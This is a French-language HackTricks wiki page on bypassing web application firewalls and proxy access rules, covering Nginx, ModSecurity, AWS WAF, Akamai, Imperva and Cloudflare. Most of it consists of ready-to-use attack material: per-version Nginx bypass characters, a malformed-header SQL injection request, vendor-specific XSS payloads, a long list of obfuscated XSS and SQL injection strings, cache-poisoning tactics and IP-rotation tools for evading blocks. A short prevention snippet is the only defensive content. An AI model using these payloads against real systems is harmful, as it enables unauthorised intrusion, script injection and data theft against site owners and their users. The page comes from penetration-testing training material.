16 KiB
Proxy / WAF Protections Bypass
{{#include ../banners/hacktricks-training.md}}
Bypass Nginx ACL Rules with Pathname Manipulation
Techniques de cette recherche.
Exemple de règle Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Pour empêcher les contournements, Nginx effectue une normalisation du chemin avant de le vérifier. Cependant, si le serveur backend effectue une normalisation différente (supprimant des caractères que Nginx ne supprime pas), il peut être possible de contourner cette protection.
NodeJS - Express
| Nginx Version | Caractères de contournement pour Node.js |
|---|---|
| 1.22.0 | \xA0 |
| 1.21.6 | \xA0 |
| 1.20.2 | \xA0, \x09, \x0C |
| 1.18.0 | \xA0, \x09, \x0C |
| 1.16.1 | \xA0, \x09, \x0C |
Flask
| Nginx Version | Caractères de contournement pour Flask |
|---|---|
| 1.22.0 | \x85, \xA0 |
| 1.21.6 | \x85, \xA0 |
| 1.20.2 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.18.0 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.16.1 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
Spring Boot
| Nginx Version | Caractères de contournement pour Spring Boot |
|---|---|
| 1.22.0 | ; |
| 1.21.6 | ; |
| 1.20.2 | \x09, ; |
| 1.18.0 | \x09, ; |
| 1.16.1 | \x09, ; |
PHP-FPM
Configuration FPM de Nginx:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx est configuré pour bloquer l'accès à /admin.php mais il est possible de contourner cela en accédant à /admin.php/index.php.
Comment prévenir
location ~* ^/admin {
deny all;
}
Contournement des règles ModSecurity
Confusion de chemin
In this post est expliqué que ModSecurity v3 (until 3.0.12), implémentait incorrectement la variable REQUEST_FILENAME qui était censée contenir le chemin accédé (jusqu'au début des paramètres). Cela s'explique parce qu'il effectuait un URL decode pour obtenir le chemin.\
Ainsi, une requête comme http://example.com/foo%3f';alert(1);foo= dans mod security supposera que le chemin est juste /foo parce que %3f est transformé en ? mettant fin au chemin URL, mais en réalité le chemin que le serveur recevra sera /foo%3f';alert(1);foo=.
Les variables REQUEST_BASENAME et PATH_INFO étaient également affectées par ce bug.
Quelque chose de similaire est survenu dans la version 2 de Mod Security qui permettait de contourner une protection empêchant l'accès aux fichiers avec des extensions spécifiques liées aux fichiers de backup (comme .bak) simplement en envoyant le point encodé en URL %2e, par exemple : https://example.com/backup%2ebak.
Contournement de AWS WAF ACL
En-tête malformé
This research mentionne qu'il était possible de contourner les règles AWS WAF appliquées aux en-têtes HTTP en envoyant un en-tête "malformed" qui n'était pas correctement parsé par AWS mais qui l'était par le serveur backend.
Par exemple, en envoyant la requête suivante avec une SQL injection dans l'en-tête X-Query:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Il était possible de contourner AWS WAF car il ne comprenait pas que la ligne suivante faisait partie de la valeur de l'en-tête alors que le serveur NODEJS le faisait (cela a été corrigé).
Contournements génériques de WAF
Limites de taille des requêtes
Généralement, les WAF ont une certaine limite de longueur des requêtes à vérifier et si une requête POST/PUT/PATCH la dépasse, le WAF ne vérifiera pas la requête.
- For AWS WAF, you can check the documentation:
| Taille maximale d'un corps de requête web pouvant être inspecté pour les protections Application Load Balancer et AWS AppSync | 8 KB |
| Taille maximale d'un corps de requête web pouvant être inspecté pour les protections CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access | 64 KB |
- From Azure docs:
Les anciens Web Application Firewalls avec Core Rule Set 3.1 (ou inférieur) permettent des messages supérieurs à 128 KB en désactivant l'inspection du corps de la requête, mais ces messages ne seront pas vérifiés pour des vulnérabilités. Pour les versions plus récentes (Core Rule Set 3.2 ou plus récentes), la même chose peut être faite en désactivant la limite maximale du corps de la requête. Lorsqu'une requête dépasse la limite de taille :
Si en prevention mode : Enregistre et bloque la requête.
Si en detection mode : Inspecte jusqu'à la limite, ignore le reste, et enregistre si le Content-Length dépasse la limite.
- From Akamai:
Par défaut, le WAF n'inspecte que les premiers 8KB d'une requête. Il peut augmenter la limite jusqu'à 128KB en ajoutant Advanced Metadata.
- From Cloudflare:
Jusqu'à 128KB.
Lacunes d'inspection des assets statiques (.js GETs)
Certaines piles CDN/WAF appliquent une inspection de contenu faible ou inexistante aux requêtes GET pour les assets statiques (par exemple les chemins se terminant par .js), tout en appliquant des règles globales comme le rate limiting et l'IP reputation. Combiné à la mise en cache automatique des extensions statiques, cela peut être abusé pour délivrer ou semer des variantes malveillantes qui affectent les réponses HTML ultérieures.
Cas d'usage pratiques :
- Envoyer des payloads dans des en-têtes non fiables (par ex.,
User-Agent) sur un GET vers un chemin.jspour éviter l'inspection de contenu, puis demander immédiatement le HTML principal pour influencer la variante mise en cache. - Utiliser une IP propre/fraîche ; une fois qu'une IP est signalée, les changements de routage peuvent rendre la technique peu fiable.
- Dans Burp Repeater, utiliser "Send group in parallel" (style single-packet) pour lancer une course entre les deux requêtes (
.jspuis HTML) via le même front-end.
Cela se combine bien avec header-reflection cache poisoning. Voir :
{{#ref}} cache-deception/README.md {{#endref}}
Obfuscation
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Compatibilité Unicode
Selon l'implémentation de la normalisation Unicode (plus d'infos here), des caractères partageant la compatibilité Unicode peuvent permettre de contourner le WAF et s'exécuter comme le payload prévu. Les caractères compatibles peuvent être trouvés here.
Exemple
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
Bypass Contextual WAFs with encodings
Comme mentionné dans this blog post, pour contourner des WAFs capables de maintenir un contexte de la saisie utilisateur, nous pouvons abuser des techniques du WAF pour en fait normaliser la saisie de l'utilisateur.
Par exemple, dans le post il est indiqué que Akamai URL decoded a user input 10 times. Ainsi quelque chose comme <input/%2525252525252525253e/onfocus sera vu par Akamai comme <input/>/onfocus ce qui pourrait être considéré comme sûr puisque la balise est fermée. Cependant, tant que l'application ne décodera pas l'URL de la saisie 10 fois, la victime verra quelque chose comme <input/%25252525252525253e/onfocus qui est toujours valide pour une attaque XSS.
Par conséquent, cela permet de cacher des payloads dans des composants encodés que le WAF décodera et interprétera tandis que la victime ne le fera pas.
De plus, cela peut être fait non seulement avec des payloads encodés en URL mais aussi avec d'autres encodages tels que unicode, hex, octal...
Dans le post, les contournements finaux suivants sont suggérés :
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)> - Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999"> - AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)> - Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
Il est également mentionné que selon la manière dont certains WAFs comprennent le contexte de la saisie utilisateur, il pourrait être possible de l'abuser. L'exemple proposé dans le blog est qu'Akamai allow(ed) de mettre n'importe quoi entre /* et */ (probablement parce que ceci est couramment utilisé comme commentaire). Par conséquent, une SQLinjection telle que /*'or sleep(5)-- -*/ ne sera pas détectée et sera valide car /* est la chaîne de démarrage de l'injection et */ est commentée.
Ce type de problèmes de contexte peut également être utilisé pour abuser d'autres vulnérabilités que celle attendue pour être exploitée par le WAF (par ex. cela pourrait aussi être utilisé pour exploiter une XSS).
H2C Smuggling
{{#ref}} h2c-smuggling.md {{#endref}}
IP Rotation
- https://github.com/ustayready/fireprox: Generate an API gateway URL to by used with ffuf
- https://github.com/rootcathacking/catspin: Similar to fireprox
- https://github.com/PortSwigger/ip-rotate: Burp Suite plugin that uses API gateway IPs
- https://github.com/fyoorer/ShadowClone: Un nombre d'instances de conteneurs activées est déterminé dynamiquement en fonction de la taille du fichier d'entrée et du facteur de partitionnement, avec l'entrée découpée en chunks pour exécution parallèle — par exemple 100 instances traitant 100 chunks à partir d'un fichier d'entrée de 10 000 lignes avec un facteur de split de 100 lignes.
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
Regex Bypasses
Différentes techniques peuvent être utilisées pour bypasser les filtres regex sur les firewalls. Les exemples incluent l'alternance de casse, l'ajout de sauts de ligne et l'encodage des payloads. Des ressources sur les différents contournements se trouvent sur PayloadsAllTheThings et OWASP. Les exemples ci-dessous ont été extraits de this article.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Outils
- nowafpls: Plugin Burp pour ajouter des données inutiles aux requêtes afin de contourner les WAFs en jouant sur la longueur
Références
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
{{#include ../banners/hacktricks-training.md}}